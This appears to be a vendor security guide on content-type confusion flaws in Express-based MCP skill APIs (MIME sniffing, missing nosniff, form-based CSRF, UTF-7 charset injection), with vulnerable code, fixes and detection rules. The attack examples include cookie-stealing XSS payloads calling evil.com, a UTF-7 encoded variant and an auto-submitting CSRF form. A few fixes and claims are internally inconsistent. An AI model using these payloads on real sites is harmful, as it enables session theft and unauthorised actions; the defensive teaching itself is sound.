Claude skill content-type security — SA-SKL-CONTENTTYPE
MCP skills that return JSON without explicit Content-Type headers, skip X-Content-Type-Options: nosniff, accept URL-encoded bodies on API routes, or trust proxy-supplied charset parameters expose four distinct content-type confusion attacks: MIME-sniffing XSS, legacy browser script execution, CSRF via form submission, and charset parameter injection enabling UTF-7 XSS. SA-SKL-CONTENTTYPE covers all four patterns with the attack mechanics and correct Express middleware configuration.
Why content-type headers matter for MCP skill APIs
Content-Type attacks exploit the gap between what a server intends to send and what a browser or parser actually executes. For MCP skills, the attack surface is wider than a conventional API because skill responses may flow through multiple layers: the MCP server itself, a web client that surfaces audit results, and browser-based dashboards that render findings. A single missing header can turn innocuous JSON into executable script. The four SA-SKL-CONTENTTYPE patterns span the full header enforcement stack from response headers through request body parsing configuration.
SA-SKL-CONTENTTYPE in scope: CONTENTTYPE-001 (missing Content-Type response header), CONTENTTYPE-002 (missing X-Content-Type-Options nosniff), CONTENTTYPE-003 (URL-encoded body acceptance enables CSRF), CONTENTTYPE-004 (charset parameter injection via proxy headers). Each pattern includes SkillAudit detection rules and remediation code.
CONTENTTYPE-001 — Missing Content-Type response header enables MIME-sniffing XSS
When an Express handler uses res.send() instead of res.json(), or manually serializes JSON without setting the response header, browsers MIME-sniff the response body. If the JSON payload contains a string value that looks like HTML with a script tag, Internet Explorer and some legacy Chromium builds execute it as HTML, delivering XSS to any user viewing the response in a browser context.
Vulnerable code
// server.ts — res.send() with stringified JSON, no Content-Type header
import express from 'express';
const app = express();
app.use(express.json());
app.post('/api/skill/get_audit_findings', async (req, res) => {
const { repoUrl } = req.body;
const findings = await db.findings.findAll({ repoUrl });
// VULNERABLE: res.send() with manually-stringified JSON
// If findings contains attacker-controlled strings with HTML, browser MIME-sniffs
// and may execute script content embedded in the JSON value
const responseBody = JSON.stringify({ findings, repoUrl });
res.send(responseBody); // No Content-Type header set — browser must guess
});
Attack: MIME-sniffed JSON executed as HTML script
// Attacker controls a repository name or finding description that contains:
// { "repoUrl": "<!DOCTYPE html><script>fetch('https://evil.com/?c='+document.cookie)</script>" }
//
// When a victim browses to the skill's audit result URL in IE or old Chrome,
// the browser MIME-sniffs the response (no Content-Type: application/json header),
// sees the <!DOCTYPE html> prefix, and renders the body as HTML.
// The <script> tag executes, exfiltrating the victim's session cookie.
//
// Step 1: Attacker registers a GitHub repo named to contain the script tag
// (GitHub truncates names, but the description field is free-form)
//
// Step 2: Attacker triggers an audit on this repo via the MCP tool
// Step 3: Victim views audit results in a browser — script executes
// Proof: in older IE, fetch the URL and observe alert:
// URL: https://skillaudit.dev/api/skill/get_audit_findings?repoUrl=...
// Response body: {"findings":[],"repoUrl":"<!DOCTYPE html><script>alert(1)</script>"}
// No Content-Type header -> IE sniffs as HTML -> script executes
Fix: always use res.json(); set explicit Content-Type header
// server.ts — always use res.json() or explicitly set Content-Type: application/json
import express from 'express';
const app = express();
app.use(express.json());
// Option A: use res.json() — Express sets Content-Type: application/json automatically
app.post('/api/skill/get_audit_findings', async (req, res) => {
const { repoUrl } = req.body;
const findings = await db.findings.findAll({ repoUrl });
// res.json() sets Content-Type: application/json; charset=utf-8
return res.json({ findings, repoUrl });
});
// Option B: use helmet to enforce security headers on all responses
import helmet from 'helmet';
app.use(helmet()); // Sets Content-Type-Options, X-Frame-Options, and more
// Option C: manual Content-Type enforcement via global middleware
app.use((req, res, next) => {
const originalJson = res.json.bind(res);
const originalSend = res.send.bind(res);
// Override res.send() to always set Content-Type when body looks like JSON
res.send = function(body: any) {
if (typeof body === 'string' && body.trim().startsWith('{')) {
res.setHeader('Content-Type', 'application/json; charset=utf-8');
}
return originalSend(body);
};
next();
});
// Recommended: use res.json() everywhere and add an ESLint rule banning res.send()
// on API routes to prevent this pattern from re-emerging.
// eslint-disable-next-line no-restricted-syntax — example:
// 'no-restricted-properties': ['error', { object: 'res', property: 'send', message: 'Use res.json() on API routes' }]
res.json() is the simplest fix — it always sets Content-Type: application/json; charset=utf-8. The only scenario where this is insufficient is if you have a proxy that strips or modifies the Content-Type header on the way out, in which case add helmet() as defense-in-depth. Add an ESLint rule banning res.send() on API routes to prevent regression.
res.send(stringifiedJson) without setting Content-Type: application/json; browsers MIME-sniff the response body and may execute embedded HTML/script content in legacy browsers or mis-configured proxies, delivering reflected XSS. Fix: use res.json() on all JSON API responses; add helmet() for defense-in-depth. Detection: SkillAudit AST rule flags any res.send() call where the argument is a JSON.stringify() expression or a string variable used in a JSON serialization context, without a preceding res.setHeader('Content-Type', ...) call on the same response path.CONTENTTYPE-002 — Missing X-Content-Type-Options: nosniff allows MIME sniffing in legacy browsers
Even when Content-Type: application/json is set correctly, Internet Explorer 8 and some enterprise proxies can still override the declared type if the response body resembles a different content type. The X-Content-Type-Options: nosniff header instructs all browsers to honor the declared Content-Type and never sniff. Without it, text/plain responses containing script-like content can be executed, and JSON files served from a skills API can be re-interpreted as executable scripts in edge cases.
Vulnerable code: missing security headers
// server.ts — no X-Content-Type-Options header; relies on Content-Type alone
import express from 'express';
const app = express();
app.use(express.json());
// No helmet() — no X-Content-Type-Options: nosniff set globally
// No manual X-Content-Type-Options header
app.get('/api/skill/export_findings', async (req, res) => {
const { repoUrl, format } = req.query;
if (format === 'text') {
// Returns text/plain — but without nosniff, legacy IE might execute it as script
// if the content starts with something script-like
const summary = await generateTextSummary(repoUrl as string);
res.setHeader('Content-Type', 'text/plain');
// Missing: res.setHeader('X-Content-Type-Options', 'nosniff')
return res.send(summary);
}
const findings = await db.findings.findAll({ repoUrl: repoUrl as string });
return res.json({ findings });
// Missing: X-Content-Type-Options: nosniff on JSON responses too
});
Fix: add helmet() or manually set X-Content-Type-Options: nosniff globally
// server.ts — set X-Content-Type-Options: nosniff on every response
import express from 'express';
import helmet from 'helmet';
const app = express();
// Option A: helmet sets X-Content-Type-Options: nosniff automatically
// along with a comprehensive set of other security headers
app.use(helmet());
app.use(express.json());
// Option B: manual global middleware if you can't use helmet
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
next();
});
// Option C: per-route explicit header (fallback if neither A nor B is feasible)
app.get('/api/skill/export_findings', async (req, res) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
const findings = await db.findings.findAll({ repoUrl: req.query.repoUrl as string });
return res.json({ findings });
});
// Recommended full security header stack for MCP skill APIs:
// Content-Type: application/json; charset=utf-8 (via res.json())
// X-Content-Type-Options: nosniff (via helmet or manual)
// X-Frame-Options: DENY (via helmet)
// Content-Security-Policy: default-src 'none' (via helmet)
// Strict-Transport-Security: max-age=31536000 (via helmet)
X-Content-Type-Options: nosniff header, allowing Internet Explorer and legacy browsers to override the declared Content-Type via MIME sniffing — text/plain responses with script-like content can be executed as JavaScript. Fix: add helmet() middleware (which sets nosniff automatically) or manually add res.setHeader('X-Content-Type-Options', 'nosniff') in a global middleware. Detection: SkillAudit checks for the presence of helmet() or manual X-Content-Type-Options header assignment in the Express app setup; flags apps where neither is present.CONTENTTYPE-003 — Accepting URL-encoded bodies on API routes enables CSRF
When an Express app registers express.urlencoded() as a global middleware, it applies to every route — including JSON API endpoints intended for programmatic access only. An attacker can submit a standard HTML form to a state-changing API endpoint, and the browser will include the user’s session cookie automatically. Because HTML form submissions set Content-Type: application/x-www-form-urlencoded, the form body is successfully parsed and the action is taken without any CSRF token check.
Vulnerable code: global urlencoded middleware enables form-based CSRF
// server.ts — global express.urlencoded() applies to all routes including API
import express from 'express';
import cookieSession from 'cookie-session';
const app = express();
// VULNERABLE: express.urlencoded() applied globally — includes all API routes
app.use(express.json());
app.use(express.urlencoded({ extended: false })); // should NOT be global for API
app.use(cookieSession({
secret: process.env.SESSION_SECRET!,
httpOnly: true,
// Note: sameSite not set — SameSite=None allows form-based CSRF from other origins
}));
// This endpoint is meant for JSON API calls only
// But because urlencoded is global, an HTML form can POST to it too
app.post('/api/skill/delete_audit', async (req, res) => {
// req.body.auditId works whether the request was JSON or form-encoded
const { auditId } = req.body;
await db.audits.delete({ id: auditId, userId: req.session!.userId });
return res.json({ deleted: true });
});
Attack: CSRF via HTML form submission
<!-- attacker.html — hosted on evil.com, served to victim authenticated on skillaudit.dev -->
<html>
<body onload="document.forms[0].submit()">
<!--
Browser includes session cookie automatically (SameSite not set = SameSite=None).
Content-Type is application/x-www-form-urlencoded (default HTML form type).
Express urlencoded() global middleware parses the form body successfully.
The audit is deleted with the victim's userId from their session.
-->
<form action="https://skillaudit.dev/api/skill/delete_audit" method="POST">
<input type="hidden" name="auditId" value="audit_target_id_to_delete">
</form>
</body>
</html>
<!-- Note: this attack does NOT work if the endpoint requires Content-Type: application/json
because the browser cannot set that header on a plain form submission.
The fix is to enforce JSON-only parsing on API routes. -->
Fix: disable express.urlencoded() on API routes; require Content-Type: application/json
// server.ts — urlencoded middleware scoped to non-API routes only
import express from 'express';
import cookieSession from 'cookie-session';
const app = express();
// JSON middleware globally — applies to all routes including API
app.use(express.json());
// SameSite=Strict cookie prevents cross-origin form submissions even if urlencoded is global
app.use(cookieSession({
secret: process.env.SESSION_SECRET!,
httpOnly: true,
sameSite: 'strict', // SameSite=Strict: browser won't send cookie on cross-site requests
secure: true,
}));
// Apply urlencoded ONLY to routes that actually need form submission (e.g., legacy endpoints)
// NOT to /api/* routes which are JSON-only
const urlencodedMiddleware = express.urlencoded({ extended: false });
app.use('/forms', urlencodedMiddleware); // only for form-specific paths
// Content-Type enforcement middleware for API routes
app.use('/api', (req, res, next) => {
if (['POST', 'PUT', 'PATCH'].includes(req.method)) {
const contentType = req.headers['content-type'] ?? '';
if (!contentType.startsWith('application/json')) {
return res.status(415).json({
error: 'unsupported_media_type',
message: 'API routes require Content-Type: application/json',
});
}
}
next();
});
// API endpoint is now CSRF-safe even without an explicit CSRF token
// because HTML forms cannot set Content-Type: application/json
app.post('/api/skill/delete_audit', async (req, res) => {
const { auditId } = req.body; // req.body is now only populated for JSON bodies
await db.audits.delete({ id: auditId, userId: req.session!.userId });
return res.json({ deleted: true });
});
SameSite=Strict is a defense-in-depth fix, not a replacement for the Content-Type check. Modern browsers default to SameSite=Lax, which still allows form submissions from cross-site links. SameSite=Strict prevents all cross-site cookie sending but can break legitimate cross-domain flows (e.g., OAuth callbacks). The robust fix is to enforce Content-Type: application/json at the route level, which no browser can spoof via a plain HTML form.
express.urlencoded() middleware applied globally enables CSRF via HTML form submission against JSON API endpoints: browsers set Content-Type: application/x-www-form-urlencoded on form POSTs and include session cookies, bypassing CORS and triggering state changes. Fix: remove express.urlencoded() from global scope; add a middleware on /api/* routes that rejects requests with non-JSON Content-Type. Detection: SkillAudit finds express.urlencoded() registered at the app level (not router level) and flags it when state-changing API routes under /api/ are present without an explicit Content-Type check middleware.CONTENTTYPE-004 — Content-Type charset parameter injection enables UTF-7 XSS
When a skill constructs its Content-Type response header by concatenating values from request headers rather than setting a fixed literal, an attacker can inject a charset=utf-7 parameter. In Internet Explorer, a UTF-7 encoded response body containing +ADw-script+AD4-alert(1)+ADw-/script+AD4- executes as JavaScript despite being treated as JSON. The injection vector is typically a proxy-forwarded header like Accept-Charset or a misconfigured reverse proxy that reflects input headers into response headers.
Vulnerable code: Content-Type header reflects request charset
// server.ts — Content-Type charset derived from request Accept-Charset header
import express from 'express';
const app = express();
app.use(express.json());
app.post('/api/skill/get_audit_report', async (req, res) => {
const findings = await db.findings.findAll({ userId: req.user!.id });
// VULNERABLE: charset reflected from request Accept-Charset header
// Attacker sends: Accept-Charset: utf-7
// Response header becomes: Content-Type: application/json; charset=utf-7
const acceptCharset = req.headers['accept-charset'] || 'utf-8';
res.setHeader('Content-Type', `application/json; charset=${acceptCharset}`);
// If the response body contains UTF-7 encoded payloads and IE renders this
// as text/json with charset=utf-7, the UTF-7 sequences decode to HTML/script
res.send(JSON.stringify({ findings }));
});
Attack: charset=utf-7 injection triggers XSS in IE
// Step 1: Attacker crafts a repository description containing UTF-7 encoded script
// +ADw-script+AD4-fetch('https://evil.com/?c='+document.cookie)+ADw-/script+AD4-
// (This is the UTF-7 encoding of: <script>fetch('https://evil.com/?c='+document.cookie)</script>)
// Step 2: Attacker submits an audit for the malicious repository
// Step 3: Attacker sends the victim a link to the audit results with
// Accept-Charset: utf-7 injected by their proxy or by crafting the request directly
// Step 4: The API response arrives with:
// Content-Type: application/json; charset=utf-7
// Body: {"findings":[{"description":"+ADw-script+AD4-fetch('...')...+ADw-/script+AD4-"}]}
// Step 5: IE (with charset=utf-7) decodes +ADw- as < and +AD4- as >,
// re-renders the response as:
// {"findings":[{"description":"<script>fetch('...')...</script>"}]}
// The script tag executes in the browser context.
// cURL to demonstrate the header injection:
// curl -H 'Accept-Charset: utf-7' https://skillaudit.dev/api/skill/get_audit_report
// Response includes: Content-Type: application/json; charset=utf-7
Fix: set Content-Type to a fixed literal; never reflect request headers
// server.ts — Content-Type is always a fixed literal, never from request headers
import express from 'express';
import helmet from 'helmet';
const app = express();
// helmet() sets X-Content-Type-Options: nosniff as defense-in-depth
app.use(helmet());
app.use(express.json());
app.post('/api/skill/get_audit_report', async (req, res) => {
const findings = await db.findings.findAll({ userId: req.user!.id });
// CORRECT: fixed literal Content-Type — never read from request headers
// res.json() sets this automatically: 'application/json; charset=utf-8'
return res.json({ findings });
// If using res.setHeader() manually for other content types:
// res.setHeader('Content-Type', 'application/json; charset=utf-8');
// Always use the literal string — never string-interpolate from req.headers
});
// Global middleware: strip Accept-Charset from incoming requests entirely
// if your API does not support charset negotiation
app.use((req, res, next) => {
delete req.headers['accept-charset']; // prevent injection vector at middleware level
next();
});
// ESLint rule to prevent regression:
// Prohibit string interpolation into setHeader('Content-Type', ...) calls:
// 'no-restricted-syntax': ['error', {
// selector: 'CallExpression[callee.property.name="setHeader"][arguments.0.value="Content-Type"]',
// message: 'Use res.json() or a fixed Content-Type literal — never interpolate from request headers'
// }]
UTF-7 XSS is an IE-era attack, but it still matters in enterprise environments. Many enterprise security teams mandate IE11 compatibility testing. More importantly, the underlying pattern — reflecting request header values into response headers — is independently dangerous for other header injection attacks (Refresh, Location, Link). The fix of using fixed literal header values applies broadly beyond just Content-Type.
Content-Type response header constructed by interpolating values from req.headers['accept-charset'] or similar request headers allows attackers to inject charset=utf-7, enabling UTF-7 XSS in Internet Explorer where UTF-7 encoded sequences in the JSON body decode to executable HTML. Fix: always use res.json() or set a fixed literal 'application/json; charset=utf-8' — never interpolate request header values into response headers. Detection: SkillAudit flags any res.setHeader('Content-Type', ...) call where the second argument contains string interpolation involving a variable sourced from req.headers.SA-SKL-CONTENTTYPE summary findings
| Finding ID | Severity | Pattern | Root cause |
|---|---|---|---|
| SA-SKL-CONTENTTYPE-001 | HIGH | Missing Content-Type header enables MIME-sniffing XSS | res.send(JSON.stringify(...)) without Content-Type header; browser sniffs JSON as HTML if body contains script tags. Fix: always use res.json() or explicitly set Content-Type: application/json. |
| SA-SKL-CONTENTTYPE-002 | MEDIUM | Missing X-Content-Type-Options: nosniff | Absent nosniff header allows legacy browsers to override declared Content-Type. Fix: add helmet() middleware or manually set header globally. |
| SA-SKL-CONTENTTYPE-003 | HIGH | Global URL-encoded body parsing enables CSRF | express.urlencoded() applied globally allows HTML forms to POST to JSON API endpoints. Fix: scope urlencoded middleware to form routes only; enforce Content-Type: application/json check on /api/*. |
| SA-SKL-CONTENTTYPE-004 | MEDIUM | Charset parameter injection via reflected request header | Content-Type header interpolates Accept-Charset request header value; attacker injects utf-7 enabling UTF-7 XSS in IE. Fix: always set fixed literal Content-Type; use res.json(). |
SkillAudit detects all four SA-SKL-CONTENTTYPE patterns through static analysis of Express middleware configuration, response header construction, and body parser registration in your MCP skill’s source code. Run a full audit at skillaudit.dev.